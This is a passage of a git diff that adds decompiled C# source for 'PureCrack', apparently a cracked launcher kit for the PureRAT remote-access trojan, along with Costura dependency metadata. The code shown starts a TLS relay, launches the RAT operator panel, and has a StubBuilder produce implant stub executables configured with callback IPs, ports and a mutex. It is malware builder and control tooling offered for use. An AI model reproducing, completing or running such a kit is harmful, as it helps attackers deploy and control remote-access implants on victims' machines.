stop the relay (panel keeps running)."); + } + else + { + object arg = 56001; + TimeSpan panelReadyTimeout = PanelReadyTimeout; + Log.Warn($"panel didn't bind :{arg} within {panelReadyTimeout.TotalMinutes:0} min — " + "did you click Login? relay is still listening, so it's not too late."); + } + done.Wait(); + Log.Section("shutdown"); + tlsRelay.Stop(); + Log.Info("relay stopped. panel left running. exiting."); + return 0; + } + } + catch (Exception ex) + { + Log.Err("fatal: " + ex.Message); + Log.Bullet(ex.ToString()); + return 1; + } + } + + private static bool CheckEmbeddedAssets() + { + try + { + _ = EmbeddedAssets.InnerSources.Count; + _ = EmbeddedAssets.LoaderTemplate.Length; + _ = EmbeddedAssets.ProtobufNetDll.Length; + _ = EmbeddedAssets.CannedCompileResponse.Length; + Log.Ok($"embedded assets OK ({EmbeddedAssets.InnerSources.Count} inner sources, " + $"{EmbeddedAssets.ProtobufNetDll.Length:N0}b protobuf-net.dll, " + $"{EmbeddedAssets.CannedCompileResponse.Length:N0}b canned /compile)"); + return true; + } + catch (Exception ex) + { + Log.Err("embedded assets missing — corrupted EXE? " + ex.Message); + return false; + } + } + + private static int SmokeBuildCommand() + { + Log.Section("smoke-build: exercise the StubBuilder pipeline only"); + BuildConfig cfg = new BuildConfig + { + Ips = new List { "127.0.0.1" }, + Ports = new List { 56001 }, + CertPfxBase64 = "", + Group = "smoke-test", + Mutex = "purecrack-smoke" + }; + try + { + byte[] array = StubBuilder.Build(cfg); + string text = Path.Combine(Workspace.StubsDir, $"smoke_{DateTime.Now:yyyyMMdd_HHmmss}.exe"); + File.WriteAllBytes(text, array); + Log.Ok($"smoke-build OK — wrote {array.Length:N0}b stub to {text}"); + return 0; + } + catch (Exception ex) + { + Log.Err("smoke-build FAILED: " + ex.Message); + Log.Bullet(ex.ToString()); + return 1; + } + } + + private static void PrintHelp() + { + Console.WriteLine(); + Console.WriteLine("Usage: PureCrack.exe [subcommand]"); + Console.WriteLine(); + Console.WriteLine("With no subcommand: starts the full kit (relay + panel launch)."); + Console.WriteLine(); + Console.WriteLine("Subcommands:"); + Console.WriteLine(" smoke-build Exercise the stub builder pipeline only (CI test)"); + Console.WriteLine(" help Show this message"); + Console.WriteLine(); + Console.WriteLine("Environment overrides:"); + Console.WriteLine(" PURECRACK_WORKSPACE Override workspace root (default: EXE dir)"); + Console.WriteLine(" PURE_PANEL_EXE Path to PureRAT.exe"); + Console.WriteLine(" PURE_SETTINGS_JSON Path to panel's Settings.json (default: sibling of PURE_PANEL_EXE)"); + } +} diff --git a/decompiled/purerat decompiled/PureCrack_ProcessedByFody.cs b/decompiled/purerat decompiled/PureCrack_ProcessedByFody.cs new file mode 100644 index 0000000..08a13c9 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack_ProcessedByFody.cs @@ -0,0 +1,6 @@ +internal class PureCrack_ProcessedByFody +{ + internal const string FodyVersion = "6.8.0.0"; + + internal const string Costura = "5.7.0"; +} diff --git a/decompiled/purerat decompiled/System.Runtime.CompilerServices/IsExternalInit.cs b/decompiled/purerat decompiled/System.Runtime.CompilerServices/IsExternalInit.cs new file mode 100644 index 0000000..b05eb4a --- /dev/null +++ b/decompiled/purerat decompiled/System.Runtime.CompilerServices/IsExternalInit.cs @@ -0,0 +1,5 @@ +namespace System.Runtime.CompilerServices; + +internal static class IsExternalInit +{ +} diff --git a/decompiled/purerat decompiled/app.manifest b/decompiled/purerat decompiled/app.manifest new file mode 100644 index 0000000..3d5c9e0 --- /dev/null +++ b/decompiled/purerat decompiled/app.manifest @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/decompiled/purerat decompiled/costura.costura.dll.compressed b/decompiled/purerat decompiled/costura.costura.dll.compressed new file mode 100644 index 0000000..da13dee Binary files /dev/null and b/decompiled/purerat decompiled/costura.costura.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.costura.pdb.compressed b/decompiled/purerat decompiled/costura.costura.pdb.compressed new file mode 100644 index 0000000..f1baa00 Binary files /dev/null and b/decompiled/purerat decompiled/costura.costura.pdb.compressed differ diff --git a/decompiled/purerat decompiled/costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..a448037 Binary files /dev/null and b/decompiled/purerat decompiled/costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.cs.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.cs.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..c2b118d Binary files /dev/null and b/decompiled/purerat decompiled/costura.cs.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..2152629 Binary files /dev/null and b/decompiled/purerat decompiled/costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.de.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.de.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..8b4c35c Binary files /dev/null and b/decompiled/purerat decompiled/costura.de.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..71c9330 Binary files /dev/null and b/decompiled/purerat decompiled/costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.es.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.es.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..c6b46fc Binary files /dev/null and b/decompiled/purerat decompiled/costura.es.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..08cc4b0 Binary files /dev/null and b/decompiled/purerat decompiled/costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.fr.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.fr.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..638e9a0 Binary files /dev/null and b/decompiled/purerat decompiled/costura.fr.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..808d308 Binary files /dev/null and b/decompiled/purerat decompiled/costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.it.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.it.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..b254b9b Binary files /dev/null and b/decompiled/purerat decompiled/costura.it.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..98e1f30 Binary files /dev/null and b/decompiled/purerat decompiled/costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.ja.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.ja.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..0ae45b7 Binary files /dev/null and b/decompiled/purerat decompiled/costura.ja.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..123c742 Binary files /dev/null and b/decompiled/purerat decompiled/costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.ko.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.ko.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..bff7a2b Binary files /dev/null and b/decompiled/purerat decompiled/costura.ko.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.metadata b/decompiled/purerat decompiled/costura.metadata new file mode 100644 index 0000000..77138c9 --- /dev/null +++ b/decompiled/purerat decompiled/costura.metadata @@ -0,0 +1,45 @@ +costura.costura.dll.compressed|5.7.0.0|Costura, Version=5.7.0.0, Culture=neutral, PublicKeyToken=null|Costura.dll|F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906|4608 +costura.costura.pdb.compressed|||Costura.pdb|6C6000A5EAF8579850AB82A89BD6268776EB51AD|2608 +costura.microsoft.bcl.asyncinterfaces.dll.compressed|8.0.0.0|Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|Microsoft.Bcl.AsyncInterfaces.dll|74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85|26904 +costura.microsoft.codeanalysis.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis, Version=4.8.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35|Microsoft.CodeAnalysis.dll|E6C2F5DB8D9EF7E40D0CE23A6C1DF9C479C8E19D|4706480 +costura.microsoft.codeanalysis.pdb.compressed|||Microsoft.CodeAnalysis.pdb|0E12BED37640CB2263D3421AD90E537E63D4C3ED|1011532 +costura.microsoft.codeanalysis.csharp.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp, Version=4.8.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35|Microsoft.CodeAnalysis.CSharp.dll|E241AE91BDD901944ACE161090C99143DC56BFEF|8005280 +costura.microsoft.codeanalysis.csharp.pdb.compressed|||Microsoft.CodeAnalysis.CSharp.pdb|437E5B3F1CEA319C83240790A6521ECE814BDD04|2815944 +costura.system.buffers.dll.compressed|4.0.3.0|System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Buffers.dll|2F410A0396BC148ED533AD49B6415FB58DD4D641|20856 +costura.system.collections.immutable.dll.compressed|7.0.0.0|System.Collections.Immutable, Version=7.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Collections.Immutable.dll|2F1EBB67E21B33C74C4C6CF217AC1F797959F18B|198784 +costura.system.diagnostics.diagnosticsource.dll.compressed|4.0.1.0|System.Diagnostics.DiagnosticSource, Version=4.0.1.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Diagnostics.DiagnosticSource.dll|85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B|35760 +costura.system.memory.dll.compressed|4.0.1.2|System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Memory.dll|3C5C5DF5F8F8DB3F0A35C5ED8D357313A54E3CDE|142240 +costura.system.numerics.vectors.dll.compressed|4.1.4.0|System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Numerics.Vectors.dll|3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0|115856 +costura.system.reflection.metadata.dll.compressed|7.0.0.0|System.Reflection.Metadata, Version=7.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Reflection.Metadata.dll|0BD0BBA896496B0E30AB059FDDD74834B3247958|466576 +costura.system.runtime.compilerservices.unsafe.dll.compressed|6.0.0.0|System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Runtime.CompilerServices.Unsafe.dll|180A7BAAFBC820A838BBACA434032D9D33CCEEBE|18024 +costura.system.text.encoding.codepages.dll.compressed|7.0.0.0|System.Text.Encoding.CodePages, Version=7.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Text.Encoding.CodePages.dll|6B7198566D80D2C9C2D3629BB1BDE3CC2D8921B8|764560 +costura.system.text.encodings.web.dll.compressed|8.0.0.0|System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Text.Encodings.Web.dll|55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC|79024 +costura.system.text.json.dll.compressed|8.0.0.5|System.Text.Json, Version=8.0.0.5, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Text.Json.dll|D3AD7F529C0B9232206348842E31566AD7347135|644888 +costura.system.threading.tasks.extensions.dll.compressed|4.2.0.1|System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Threading.Tasks.Extensions.dll|2242627282F9E07E37B274EA36FAC2D3CD9C9110|25984 +costura.system.valuetuple.dll.compressed|4.0.3.0|System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.ValueTuple.dll|D1664731719E85AAD7A2273685D77FEB0204EC98|25232 +costura.cs.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=cs, PublicKeyToken=31bf3856ad364e35|cs/Microsoft.CodeAnalysis.resources.dll|C7549AAF3804936AE9C77A899D94DA8F314B77C2|46768 +costura.de.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=de, PublicKeyToken=31bf3856ad364e35|de/Microsoft.CodeAnalysis.resources.dll|D9DE4323C80F052D6E8BD47226F3CD50082B99FC|48304 +costura.es.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=es, PublicKeyToken=31bf3856ad364e35|es/Microsoft.CodeAnalysis.resources.dll|66BDF5227D86E8955F3D53A9352E79651146EDC1|48288 +costura.fr.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=fr, PublicKeyToken=31bf3856ad364e35|fr/Microsoft.CodeAnalysis.resources.dll|702CD3C10626B11ECBA202B61B1DC1C8A1ACF4F6|48800 +costura.it.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=it, PublicKeyToken=31bf3856ad364e35|it/Microsoft.CodeAnalysis.resources.dll|BC6C33648C557F603D9E99564BC07528079ACB84|48800 +costura.ja.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=ja, PublicKeyToken=31bf3856ad364e35|ja/Microsoft.CodeAnalysis.resources.dll|BDFBF62564B0D8EAC2E62823764A727688CB0702|51872 +costura.ko.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=ko, PublicKeyToken=31bf3856ad364e35|ko/Microsoft.CodeAnalysis.resources.dll|CC5A9F58D32472737B9C4E32130617842CA3A5CB|48800 +costura.pl.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=pl, PublicKeyToken=31bf3856ad364e35|pl/Microsoft.CodeAnalysis.resources.dll|CE4DA2EBAD49C33C33BEB0A440ECC385B63E1A84|48816 +costura.pt-br.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=pt-BR, PublicKeyToken=31bf3856ad364e35|pt-BR/Microsoft.CodeAnalysis.resources.dll|3DBB1B41483639E763B3A84E674B70D597DF9141|47264 +costura.ru.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=ru, PublicKeyToken=31bf3856ad364e35|ru/Microsoft.CodeAnalysis.resources.dll|6E30F7A88FDBDA35B34784F8B044C5628A43962A|58544 +costura.tr.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=tr, PublicKeyToken=31bf3856ad364e35|tr/Microsoft.CodeAnalysis.resources.dll|ED7C51F2B8C4B21F782D52D1693A33048EE7629F|46768 +costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=zh-Hans, PublicKeyToken=31bf3856ad364e35|zh-Hans/Microsoft.CodeAnalysis.resources.dll|645FD09F3DB16CDC9D9EE613B1DDAB3311A300E2|43680 +costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=zh-Hant, PublicKeyToken=31bf3856ad364e35|zh-Hant/Microsoft.CodeAnalysis.resources.dll|3F278AA5D40C60EE718E0C2596BC22AB89A84D10|44192 +costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=cs, PublicKeyToken=31bf3856ad364e35|cs/Microsoft.CodeAnalysis.CSharp.resources.dll|9437ED060D16497D2B8C319E6D15A46E201A7154|421536 +costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=de, PublicKeyToken=31bf3856ad364e35|de/Microsoft.CodeAnalysis.CSharp.resources.dll|E3CFBDABD39C75980739E98007B23BEB21571EAB|450208 +costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=es, PublicKeyToken=31bf3856ad364e35|es/Microsoft.CodeAnalysis.CSharp.resources.dll|B08F143E844495129B615AE620B1421394F7E98B|440480 +costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=fr, PublicKeyToken=31bf3856ad364e35|fr/Microsoft.CodeAnalysis.CSharp.resources.dll|028E1A466B4C0E944F4B8433D10B66BEA74ED84E|451248 +costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=it, PublicKeyToken=31bf3856ad364e35|it/Microsoft.CodeAnalysis.CSharp.resources.dll|32229B1EA31691652B9A5B78A4571A852B33AE7D|447152 +costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=ja, PublicKeyToken=31bf3856ad364e35|ja/Microsoft.CodeAnalysis.CSharp.resources.dll|70556BF6FA813A51FD4F2BB208C82656F23A8F48|492704 +costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=ko, PublicKeyToken=31bf3856ad364e35|ko/Microsoft.CodeAnalysis.CSharp.resources.dll|3B306B78758E2F82C6D3897B20307BE9BF7F1816|452256 +costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=pl, PublicKeyToken=31bf3856ad364e35|pl/Microsoft.CodeAnalysis.CSharp.resources.dll|11926EDA6014396D9C901198F39F15D20E521DEF|453280 +costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=pt-BR, PublicKeyToken=31bf3856ad364e35|pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll|E6896CE38DF6230BE366710B2C2B5B54F81138A7|432800 +costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=ru, PublicKeyToken=31bf3856ad364e35|ru/Microsoft.CodeAnalysis.CSharp.resources.dll|E677A30AE42474FDAF1F92DC27537A0A21884F18|595104 +costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=tr, PublicKeyToken=31bf3856ad364e35|tr/Microsoft.CodeAnalysis.CSharp.resources.dll|37792D59966A67021550D6C266D95416CFC85B22|429216 +costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=zh-Hans, PublicKeyToken=31bf3856ad364e35|zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll|C14AC882E518E93525C77BB4094B05CED7A8B31F|382128 +costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=zh-Hant, PublicKeyToken=31bf3856ad364e35|zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll|0BCDFA36AF2C7EBEF19982872D251D99793648F8|381600 diff --git a/decompiled/purerat decompiled/costura.microsoft.bcl.asyncinterfaces.dll.compressed b/decompiled/purerat decompiled/costura.microsoft.bcl.asyncinterfaces.dll.compressed new file mode 100644 index 0000000..787a0e9 Binary files /dev/null and b/decompiled/purerat decompiled/costura.microsoft.bcl.asyncinterfaces.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.microsoft.codeanalysis.csharp.dll.compressed b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.csharp.dll.compressed new file mode 100644 index 0000000..8e9c8ef Binary files /dev/null and b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.csharp.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.microsoft.codeanalysis.csharp.pdb.compressed b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.csharp.pdb.compressed new file mode 100644 index 0000000..3bd438c Binary files /dev/null and b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.csharp.pdb.compressed differ diff --git a/decompiled/purerat decompiled/costura.microsoft.codeanalysis.dll.compressed b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.dll.compressed new file mode 100644 index 0000000..54f48fb Binary files /dev/null and b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.microsoft.codeanalysis.pdb.compressed b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.pdb.compressed new file mode 100644 index 0000000..af6fc50 Binary files /dev/null and b/decompiled/purerat decompiled/costura.microsoft.codeanalysis.pdb.compressed differ diff --git a/decompiled/purerat decompiled/costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..5e8aeb4 Binary files /dev/null and b/decompiled/purerat decompiled/costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.pl.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.pl.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..50fd882 Binary files /dev/null and b/decompiled/purerat decompiled/costura.pl.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..16ce1a1 Binary files /dev/null and b/decompiled/purerat decompiled/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.pt-br.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.pt-br.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..db18d6c Binary files /dev/null and b/decompiled/purerat decompiled/costura.pt-br.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..5e3e7f7 Binary files /dev/null and b/decompiled/purerat decompiled/costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.ru.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.ru.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..c899fda Binary files /dev/null and b/decompiled/purerat decompiled/costura.ru.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.buffers.dll.compressed b/decompiled/purerat decompiled/costura.system.buffers.dll.compressed new file mode 100644 index 0000000..d832a52 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.buffers.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.collections.immutable.dll.compressed b/decompiled/purerat decompiled/costura.system.collections.immutable.dll.compressed new file mode 100644 index 0000000..a5c51b0 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.collections.immutable.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.diagnostics.diagnosticsource.dll.compressed b/decompiled/purerat decompiled/costura.system.diagnostics.diagnosticsource.dll.compressed new file mode 100644 index 0000000..62ab62f Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.diagnostics.diagnosticsource.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.memory.dll.compressed b/decompiled/purerat decompiled/costura.system.memory.dll.compressed new file mode 100644 index 0000000..ecac341 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.memory.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.numerics.vectors.dll.compressed b/decompiled/purerat decompiled/costura.system.numerics.vectors.dll.compressed new file mode 100644 index 0000000..2ee7b85 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.numerics.vectors.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.reflection.metadata.dll.compressed b/decompiled/purerat decompiled/costura.system.reflection.metadata.dll.compressed new file mode 100644 index 0000000..e4716e3 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.reflection.metadata.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.runtime.compilerservices.unsafe.dll.compressed b/decompiled/purerat decompiled/costura.system.runtime.compilerservices.unsafe.dll.compressed new file mode 100644 index 0000000..e5d1d75 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.runtime.compilerservices.unsafe.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.text.encoding.codepages.dll.compressed b/decompiled/purerat decompiled/costura.system.text.encoding.codepages.dll.compressed new file mode 100644 index 0000000..eb57ad6 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.text.encoding.codepages.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.text.encodings.web.dll.compressed b/decompiled/purerat decompiled/costura.system.text.encodings.web.dll.compressed new file mode 100644 index 0000000..9fe51d6 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.text.encodings.web.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.text.json.dll.compressed b/decompiled/purerat decompiled/costura.system.text.json.dll.compressed new file mode 100644 index 0000000..dfffc36 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.text.json.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.threading.tasks.extensions.dll.compressed b/decompiled/purerat decompiled/costura.system.threading.tasks.extensions.dll.compressed new file mode 100644 index 0000000..73df6da Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.threading.tasks.extensions.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.system.valuetuple.dll.compressed b/decompiled/purerat decompiled/costura.system.valuetuple.dll.compressed new file mode 100644 index 0000000..37f5426 Binary files /dev/null and b/decompiled/purerat decompiled/costura.system.valuetuple.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..e17ed5f Binary files /dev/null and b/decompiled/purerat decompiled/costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.tr.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.tr.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..97a56c3 Binary files /dev/null and b/decompiled/purerat decompiled/costura.tr.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..4a0241e Binary files /dev/null and b/decompiled/purerat decompiled/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..edc7143 Binary files /dev/null and b/decompiled/purerat 